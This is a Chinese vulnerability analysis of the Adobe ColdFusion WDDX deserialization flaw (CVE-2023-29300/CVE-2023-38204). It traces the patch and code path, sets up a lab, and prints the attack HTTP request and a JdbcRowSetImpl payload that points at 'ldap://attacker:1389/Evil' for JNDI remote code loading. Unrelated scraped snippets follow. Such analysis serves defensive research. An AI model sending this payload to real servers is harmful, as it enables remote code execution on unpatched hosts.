漏洞分析|Adobe ColdFusion 序列化漏洞(CVE-2023-29300)

2023-11-10

0x01 概述

近期,Adobe ColdFusion 发布了多个安全更新,引起了我们的关注。Adobe ColdFusion 是一款基于 Java 的商业应用程序服务器,2023 年 7 月 13 日,ProjectDiscovery 发布了分析文章,我们通过研究 CVE-2023-29300 发现这其实是一个未公开且非常有趣的漏洞,此时官方尚未发布安全补丁,因此我们立即开始寻找新的利用方式。不久之后,ProjectDiscovery 意识到自己公布了 0day 漏洞,紧急删除了分析文章,并等待官方发布安全补丁,具体的时间可参考下文的漏洞时间线。

ProjectDiscovery 公布的利用方式受 JDK 小于 9 的限制,经过测试,这条已公开的 JNDI 利用链成功利用率为 0.6%。其中提到了关于 commons-beanutils 的利用链,经过我们的分析,实际上并不需要使用它,并且还存在其它的利用链。**本文将从 ColdFusion 2023 发布版的 Update 1 安全更新内容入手,详细分析 CVE-2023-29300 的漏洞成因,并提出一些后续的研究方向。

我们在 Goby 中已经集成了 CVE-2023-29300 漏洞的 JNDI 利用链(CVE-2023-38204),实现了命令执行回显和自定义 ldap 服务器地址的功能。演示效果如下:**

CVE-2023-38203-yzpxexma.gif

0x02 漏洞环境

我们已经在 vulfocus 中集成了开箱即用的环境,版本为 Ubuntu 20.04 + JDK 8u60 + Apache Tomcat 9.0.78 + ColdFusion Release 2023.0.0.330468。
拉取镜像:

docker pull vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

启动环境:

docker run -d -P vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

0x03 漏洞分析

3.1 补丁分析

7 月 12 日,Adobe 发布了 ColdFusion (2023 release) Update 1 更新。
将 patch 包反编译后的代码与更新前的代码进行比对,可以发现coldfusion.wddx.DeserializerWorker#startElement()方法中的明显变化:

图片.png新增的validateWddxFilter()方法如下。

private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {
    String attributeType = atts.getValue("type");
    if (attributeType.endsWith(";")) {
        attributeType = attributeType.replace(";", "");
    }
    if (attributeType.startsWith("L")) {
        String attributeTypeCopy = attributeType;
        validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));
    }
    validateBlockedClass(attributeType);
}

private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {
    if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {
        throw new InvalidWddxPacketException();
    }
}

搜索相关文档可知,ColdFusion 实现了一种叫做 WDDX(Web Distributed Data Exchange,Web 分布式数据交换)的古老的 XML 技术。通过实现 WDDX,可以使变量(包括名称,数据类型和值)序列化成一个 XML 文档,应用程序可通过反序列化此 XML 文档,来重新建立这些变量。

3.2 WDDX 序列化

实现了coldfusion.wddx.WddxObjectSerializer接口的各个序列化器能够对数据进行 WDDX 序列化,如StringSerializerNumberSerializerBeanSerializer等等。
我们尝试使用BeanSerializer对自定义的 Java Bean 进行序列化,调试过程中也可以看到对象类型与序列化器默认的映射关系。
图片.png输出的序列化结果格式如下。

<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='LJavaBean;'>
            <var name='age'>
                <number>233.0</number>
            </var>
            <var name='name'>
                <string>233</string>
            </var>
        </struct>
    </data>
</wddxPacket>

对应地,反序列化由coldfusion.wddx.WddxDeserializer类实现。
对于 ColdFusion 来说,WDDX 中的每个元素都是一个WddxElement,不同的元素对应着不同的Handler处理类,例如<string>标签中的元素与属性将由StringHandler处理,<struct>标签会由StructHandler处理。
其中我们关注onStartElement()onEndElement()方法

public void onStartElement(String name, AttributeList attributes) throws WddxDeserializationException {
    this.m_strictType = attributes.getValue("type");
    //...
}
public void onEndElement() throws WddxDeserializationException {
    if (this.m_strictType == null) {
        // ...
    } else {
        Class beanClass = null;
        Object bean = null;

        try {
            beanClass = getClassBySignature(this.m_strictType);
            bean = beanClass.getDeclaredConstructor().newInstance();
            this.setBeanProperties(bean, this.m_ht);
            this.setTypeAndValue(bean);
        } catch (Exception var6) {
            // ...
        }
    }
}

onStartElement()onEndElement()是 SAX 解析器(Simple API for XML)中的回调方法,分别在解析到 XML 元素的开始和结束标签时被调用。可以看到<struct>标签的type属性将在onStartElement()方法中被赋值给变量m_strictType
跟进getClassBySignature()方法

private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {
    int index = 0;
    char c = jniTypeSig.charAt(index);
    String className;
    switch (c) {
        // ...
        default:
            className = jniTypeSig.substring(index + 1, jniTypeSig.length() - 1);
            return Class.forName(className);
        // ...
    }
}

很明显,这里首先会截掉type属性的前后两字符,然后将剩下的字符串视作类名,调用Class.forName()方法进行类加载,并紧接着在onEndElement()方法中调用其无参构造。
接下来StructHandler#setBeanProperties()方法中存在明显的Method#invoke()操作,目的是调用目标对象的 setter 方法,为刚刚被实例化的对象属性赋值。由于代码片段较长,这里就不贴出了。
至此,我们可以得出结论:
ColdFusion 的 WDDX 序列化与反序列化机制和 FastJson 很相似,都是基于目标对象的 getter 和 setter 方法,并在序列化和反序列化阶段自动调用。回头看安全更新的内容,如果没有过滤传入的type属性,那就类似于 FastJson 1.2.24 版本的情况,攻击者可以利用这个漏洞,实例化任意存在无参构造方法的类,并进一步调用其指定的 setter 方法,而且还可以控制参数。这无疑是存在漏洞利用的风险的。

3.3 参数传入分析

为了寻找传入序列化 payload 并触发反序列化的途径,我们在 Jadx 中全局搜索WddxDeserializer#deserialize()方法的引用,据此跟进coldfusion.filter.FilterUtils#WDDXDeserialize()

public static Object WDDXDeserialize(String str) throws Throwable {
    WddxDeserializer deserializer = new WddxDeserializer();
    InputSource source = new InputSource(new StringReader(str));
    return deserializer.deserialize(source);
}

继续搜索WDDXDeserialize()的引用,跟进FilterUtils#GetArgumentCollection()

public static Map GetArgumentCollection(FusionContext context) throws Throwable {
    ServletRequest request = context.request;
    String attr = (String)context.pageContext.findAttribute("url.argumentCollection");
    if (attr == null) {
        attr = (String)context.pageContext.findAttribute("form.argumentCollection");
    }

    Struct argumentCollection;
    if (attr == null) {
        // ...
    } else {
        attr = attr.trim();
        if (attr.charAt(0) == '{') {
            // ...
        } else {
            argumentCollection = (Struct)WDDXDeserialize(attr);
        }
    }
    // ...
    return argumentCollection;
}

分析findAttribute()方法可知,参数为url.xxx表示从请求的 URL 中获取xxx的参数值,form.yyy表示从上传的表单中获取yyy的参数值。
继续向上追溯,最终定位到coldfusion.filter.ComponentFilter#invoke()方法中。
ComponentFilter是一个继承了FusionFilter抽象类的过滤器,既然和过滤器扯上了关系,第一步肯定就是检查 web.xml 配置文件了。

<servlet-mapping id="coldfusion_mapping_4">
    <servlet-name>CFCServlet</servlet-name>
    <url-pattern>*.cfc</url-pattern>
</servlet-mapping>

可知解析 .cfc 页面的 Servlet 即CFCServlet
跟进CFCServletgetCFCFilterChain()方法

private FusionFilter getCFCFilterChain(ServletRequest request) {
	FusionFilter filter = new ComponentFilter();
	FusionFilter filter = new ApplicationFilter(filter, 3);
	// ...
	FusionFilter filter = new MonitoringFilter((FusionFilter)filter, "CFC REQUEST");
	filter = new PathFilter(filter, this);
	// ...
	FusionFilter filter = new ExceptionFilter((FusionFilter)filter);
	FusionFilter filter = new ClientScopePersistenceFilter(filter);
	FusionFilter filter = new BrowserFilter(filter);
	FusionFilter filter = new NoCacheFilter(filter);
	boolean needsFormScope = true;
	FusionFilter filter = new GlobalsFilter(filter, true);
	FusionFilter filter = new DatasourceFilter(filter);
	return filter;
}

其返回的 Filter Chain 中正好包含有ComponentFilter
需要注意的是,PathFilter会检查访问的目标文件是否存在,因此我们不能访问一个服务器中不存在的 .cfc 文件。
据此尝试构造如下数据包,一路跟进到ComponentFilter#invoke()方法:

POST /CFIDE/adminapi/base.cfc HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=/* payload */

image.png
此处存在一个if判断,如果没有传入method参数的话就会提前返回 302,截断我们的攻击路径。
因此我们还需要传递一个method参数

POST /CFIDE/adminapi/base.cfc?method HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 365
Content-Type: application/x-www-form-urlencoded

argumentCollection=/* payload */

这样我们就能跳过if,调用GetArgumentCollection()方法将序列化后的恶意数据传入服务器了。

0x04 漏洞利用

因此,我们类比 FastJson,不难想到通过调用JdbcRowSetImpl类的setDataSourceNamesetAutoCommit两个 setter 方法来构造 JNDI 利用链。此利用链被赋予 CVE 编号 CVE-2023-38204。

<wddxPacket version='1.0'>
    <header/>
    <data>
        <struct type='xcom.sun.rowset.JdbcRowSetImplx'>
            <var name='dataSourceName'>
                <string>ldap://attacker:1389/Evil</string>
            </var>
            <var name='autoCommit'>
                <boolean value='true'/>
            </var>
        </struct>
    </data>
</wddxPacket>

图片.png
我们注意到在 WEB-INF/bundles 及其子文件夹 repo 下还存有大量 Jar 包。在“存在即合理”的假设前提下,我们将所有 Jar 添加进了工作环境,在此基础上继续挖掘新的利用链,并成功实现了一种带有限制的新的利用方式。

0x05 漏洞时间线

CVE-2023-29300

  • 2023.7.11 官方发布安全公告
  • 2023.7.12 ProjectDiscovery 分析文章发布,未意识到 0day 公布
  • 2023.7.13 ProjectDiscovery 隐藏分析文章
  • 2023.7.14 漏洞修复

CVE-2023-38204

  • 2023.7.13 漏洞披露(CVE-2023-29300 的具体利用链)
  • 2023.7.19 漏洞修复
  • 2023.7.19 ProjectDiscovery 开放分析文章

0x06 总结

通过研究 CVE-2023-29300,我们了解了 Adobe ColdFusion 产品的基本工作原理,其不安全的 WDDX 序列化实现将产生可利用的漏洞。同时,我们详细分析了通过 argumentCollection 参数传入 payload 的完整调用路径,以及为何需要传入看似与利用无关的 method 参数。在此基础上,我们探索了利用的新方向,在这个过程中也踩了不少坑。阅读本篇文章后,大家在复现此漏洞以及在将来需要研究此产品时,就可以少走一些弯路了,后续有机会的话,会进一步分享研究成果。

参考链接

https://blog.projectdiscovery.io/adobe-coldfusion-rce/
https://helpx.adobe.com/coldfusion/kb/coldfusion-2023-update-1.html
https://helpx.adobe.com/sg/coldfusion/developing-applications/using-web-elements-and-external-objects/using-xml-and-wddx/moving-complex-data-across-the-web-with-wddx.html


Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~

文章来自Goby社区成员:M1sery@白帽汇安全研究院,转载请注明出处。
微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动
获取版本:https://gobysec.net/sale

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

漏洞分析|Adobe ColdFusion 序列化漏洞(CVE-2023-29300) 的相关文章

  • 需要在 ExtendScript 中对对象进行 JSON 字符串化

    我正在使用 ExtendScript 处理 Indesign 文档链接的元数据信息 我想使用将对象转换为字符串JSON stringify但是当我使用它时 我收到错误消息 can t execute script in target eng
  • 如何重新启动独立的 Adob​​e Air/Flex 应用程序

    如何让独立的 Adob e Air Flex 应用程序自行重启 它不适用于以下建议的解决方案 http www colettas org p 267 任何帮助都会很棒 Thanks 你好亲爱的我已经修复了 Flex 4 6 的这个方法 pa
  • Adobe .jsx 脚本可以包含其他脚本文件吗?

    我们正在编写一堆 jsx 脚本 在每个脚本中我都必须模拟一些函数 以便我可以使用 Array map 和 String trim 之类的东西 但我不想包含该代码在每个脚本的顶部 有没有办法在 jsx 脚本文件中 包含 其他 jsx 脚本 或
  • AS3 - Flash/AIR 套接字通信 writeUTFBytes 仅有效一次

    我有一个套接字服务器侦听 2 个端口 其中 1 个端口用于套接字服务器 1 个端口用于策略服务器 我的代码如下 在这种情况下 数据发送和接收完全正常 但是 例如 如果我添加一个带有简单按钮的按钮 socket writeUTFBytes M
  • 如何“解码”字体文件的eexec?

    我有一个 pfa 字体文件我想阅读渲染字体的 算法 然而 大部分信息都隐藏在二进制行中 currentfile eexec 743F8413F3636CA85A9FFEFB50B4BB27302A5F6C876586CCC1670A7EF5
  • Dreamweaver 不断获取依赖文件

    我安装了 Dreamweaver 当我从我的网站下载依赖文件时 它询问我是否一直想这样做 我说是的 现在 几周后 我不再想要这样了 因为由于依赖文件 下载一个小 PHP 文件需要 30 秒 我在设置中找不到可以再次禁用此功能的任何地方 有任
  • 在 Adob​​e AIR for iOS 中获取唯一标识符(MAC 地址、UDID 等)

    我正在尝试在适用于 Android 和 iOS iPad 2 的 Adob e AIR 应用程序中获取用户设备网络适配器的 MAC 地址 在 Android 中它可以正常工作 但在 iOS 中却不能 这是我正在使用的代码 var vNetw
  • PDF - Adob​​e 数字版

    我想使用 Adob e Digital Edition 保护 pdf 文档 我认为它目前被用来保护电子书以防止非法流通 任何人都可以对此有所了解吗 是否可以使用 C 或其他东西来做到这一点 您可能想看看Adobe 内容服务器和Adobe数字
  • Adobe Reader等停止工作的原因不少,但可修复性很强

    这种情况是随机发生的 比如如果你在正常的状态下关闭了电脑 第二天打开Adobe Reader时可能就会出现这个错误 但别担心 在这篇文章中 我们将解释为什么Adobe Reader或Acrobat DC停止工作 以及我们如何解决这个问题 是
  • 检查值是否为数字

    我如何简单地检查返回值是否为类型int or uint是一个数字吗 Simple if myValue is Number fire end if UPDATE 请记住 如果 myValue属于类型int or uint then myVa
  • 如何删除 Flex 4 TextArea 组件的边框(spark 主题光环)

    使用 Flex 3 SDK 您只需将 borderThickness 样式设置为 0 或将 borderStyle 设置为 none 对于 Flex 4 SDK 和 Spark 主题 这没有效果 尝试类似的方法 borderVisible
  • 错误 itms-90122 - 可执行文件大小无效

    我只是在将应用程序上传到应用程序商店时遇到一些问题 问题是armv7的60MB文件大小限制 见截图 几乎没有嵌入图像或类似的东西 应用程序文件只有 0 5MB 大 但我确信由于下次更新它会很快增加 有没有可能减少应用程序的大小 或者也许更改
  • 为phonegap构建闪屏的横向和纵向图像?

    我想知道是否可以在 PhoneGap 构建应用程序中为启动屏幕提供 2 个单独的图像 一张用于肖像 一张用于风景 目前 当我打开应用程序时 它会显示启动屏幕 如果我更改方向 它会像素化 我现在已经在 config xml 文件中得到了这个
  • Adobe Acrobat Pro XI - 将 Javascript 添加到 PDF

    这似乎是一个非常新手的问题 但我一整天都在为这个问题绞尽脑汁 我正在运行 Adob e Acrobat Professional XI 的试用版 我希望将简单的 JavaScript 添加到 PDF 文件中 目的是创建一个 PDF 文件 打
  • Flash 功能中的冲突检测? (命中测试对象)

    你好 所以我最近一直在使用hitTestObject检测我正在制作的 Android 应用程序中的碰撞 经过一番测试后 我意识到游戏正在检测 假 碰撞 我的意思是它正在检测碰撞not当物体的像素接触时 但是 经过一些研究后 我发现boxes
  • 如何通过 Alchemy gcc 编译 ffmpeg?

    所以我创建了ffmpeg配置文件 使其成为纯C 平台无关 但只是理论上 所以我的配置很简单 0 6 1 0 6 3测试过 configure disable doc disable ffplay disable ffprobe disabl
  • Adobe Stratus 的缺点

    我想知道使用 Adob e Stratus 是否有任何缺点 既然只是P2P 那么什么时候会出现P2P不能使用的情况呢 网站上说的是 UDP 数据包被阻止时之类的内容 多久一次 假设有 1000 人使用该服务 大约有多少人无法使用该服务 另外
  • Adobe Flash Builder 能否用于调试和分析 OpenLaszlo SWF10/SWF11 应用程序?

    我读过 Adob e 的Flash Builder 4 0 支持 ActionScript 3 的分析 http help adobe com en US flashbuilder using WS6f97d7caa66ef6eb1e63e
  • AEM 6.1 Maven 依赖关系解析

    我使用 AEM6 1 和 Maven 作为构建管理器 我想延长com day cq dam core process ThumbnailProcess班级 使用 ARM 内置依赖解析器 系统 控制台 depfinder 看来该类应该包含在
  • 线程 1:信号 SIGABRT

    当我为 Xcode 项目运行模拟时出现上述错误 这出现在 O abort with payload 文件中 dyld abort with payload 0x10aae66f8 lt 0 gt movl 0x2000209 eax imm

随机推荐

  • VS-SQL 连接DBHelper类

    using System using System Collections Generic using System Data using System Data SqlClient using System Text using Syst
  • 阿里云实习生部门笔试2020.04

    月初申请阿里c c 实习生 公司很快安排了上机笔试 是两道算法题大题 很难 没刷过题导致题目也看不怎么懂 笔试完第二天阿里云打电话安排另一场笔试 题目如下 评测题目 无 第一题 char str http www ibegroup com
  • python 题(附答案)

    1 一行代码实现1 100之和 gt gt 5050 2 描述 join 和split 区别 join用来连接字符串 split恰好相反拆分字符串 gt gt my name is huihui gt gt my name is huihu
  • vba可以放服务器上处理文档,当Word Doc位于服务器上时,如何从Excel VBA更改Word Doc中的文本?...

    我有一个宏 可以根据单词模板创建实验报告 然后将其保存到远程服务器 在我的Excel工作表中选择一个单元格 运行宏 使用空白模板打开Word实例 并根据所选单元格和其他数据保存文件 我想要做的是编辑空白模板中的标题 并将其更新为实验名称 该
  • 70进货卖100利润是多少_服装批发利润大揭秘!让你拿货砍价心里有个底

    你以为服装批发档口卖货的策略是薄利多销 你以为一包货只要小几百元很便宜 错 不要用零售的价格参考服装批发的价格 服装批发还可以更便宜 只要你了解服装批发商的利润空间 你就知道他们的价格底线在哪 拿货砍价更有目标 首先 我们从服装在市场上的来
  • python高性能服务器编写,Tornado的高性能服务器开发常用方法

    最近一直开发AI人脸识别相关的项目 需要提供给客户一些服务 所以我需要开发一些服务端程序 由于AI算法都是用python3写的 所以我就索性用起了python开发服务端 毕竟速度也快 以前用过Flask Django 这次决定有Tornad
  • 编译与链接

    把C 当脚本语言写 https www cnblogs com index html archive 2012 07 28 cppscript html vc 调用exe时 如何获取exe的输出信息 输出显示在IDE的输出中 http bl
  • [Python人工智能] 五.theano实现神经网络正规化Regularization处理

    从本系列文章开始 作者正式开始研究Python深度学习 神经网络及人工智能相关知识 前四篇文章讲解了神经网络基础概念 Theano库的安装过程及基础用法 theano实现回归神经网络 theano实现分类神经网络 这篇文章讲解Overfit
  • Hibenate技术详解

    一 Hibernate的基本用法 1 Hibernate的数据库操作 在所有的ORM框架中有一个非常重要的媒介 PO Persistence Object 持久化对象 持久化对象的作用是完成持久化操作 简单的说 通过该对象可以对数据进行增删
  • 逻辑回归介绍及statsmodels、sklearn实操

    目录 1 逻辑回归简要介绍 2 statsmodels中实现逻辑回归 3 sklearn实现逻辑回归 3 1 基础案例代码 3 2 样本不平衡问题处理 3 3 LogisticRegression模型参数说明 3 4 模型调优方法 1 逻辑
  • java 获取两个日期之间的所有月份 (年月)、以及月数、年数

    获取两个日期之间的所有月份 年月 param startTime param endTime return YYYY MM public static List
  • 347. 前 K 个高频元素

    1 哈希记录元素出现次数 2 放入优先队列 最大堆 3 依次出队获取结果 public class Solution public int TopKFrequent int nums int k 收集元素次数 Dictionary
  • linux内核设置选择硬件,Linux内核中USB充电器的解决方案

    当前最新的内核 v3 5 对USB充电器的整体方案支持的不是太好 这里讨论的USB充电器的方案仅指软件 方案 即充电器的检测需要由软件干预 比如读取USB PHY的寄存器 同时电池的充电值根据 充电器的不同类型 需要由软件来设置 硬件检测充
  • 导学:从提笔就怕,到写什么都赚钱

    做最懂技术的传播者 最懂传播的工程师 课程内容分析 课程的标题非常 标题党 实际课件的标题收敛很多 如何为系统学习新媒体写作做准备 正式开始课程前的建议 本节课程为正式课程开始前的一节导论课程 主要目的是 使学员明确 新媒体写作内容提升的学
  • k8s 系列之 CoreDNS 解读

    k8s 系列之 CoreDNS CoreDNS工作原理 kuberntes 中的 pod 基于 service 域名解析后 再负载均衡分发到 service 后端的各个 pod 服务中 如果没有 DNS 解析 则无法查到各个服务对应的 se
  • CMake 学习笔记(设置C++ 标准的版本)

    CMake 学习笔记 设置C 标准的版本 C 标准发展至今已经有很多个版本 包括最开始 C 98 后面的 C 11 C 14 C 17 等 如果我们的代码用到了比较新的C 特性 那么就需要编译器有对应的支持 这篇博客主要就是讲讲如何告诉 C
  • swift手动导入OC的第三方库

    声明 作为ios开发的新语言 相对比较oc 资源还是比较欠缺 有时候开发中 我们需要引入第三方库就不得不引入oc版的第三方库 然后苹果公司也给集成了这样的快捷方式 导入第三方的方法有 1 CocoaPods 2 手动将第三方的文件复制到工程
  • 双栈排序java_数据结构和算法-栈

    1 栈 Stack 的介绍 栈是一个先入后出 FILO First In Last Out 的有序列表 栈 Stack 是限制线性表中元素的插入和删除只能在同一端进行的一种特殊线性表 允许插入和删除的一端 为变化的一端 称为栈顶 Top 另
  • system表空间用满解决 方法

    早上看到alert日志报说system表空间快满了 oracle版本是11gR2 如果system表空间不是自动扩展 空间用满甚至会出现 数据库无法登陆 使用任何用户登录均报出异常 系统表空间正常情况下只存放了数据字典之类的东西 所以占用的
  • 漏洞分析|Adobe ColdFusion 序列化漏洞(CVE-2023-29300)

    0x01 概述 近期 Adobe ColdFusion 发布了多个安全更新 引起了我们的关注 Adobe ColdFusion 是一款基于 Java 的商业应用程序服务器 2023 年 7 月 13 日 ProjectDiscovery 发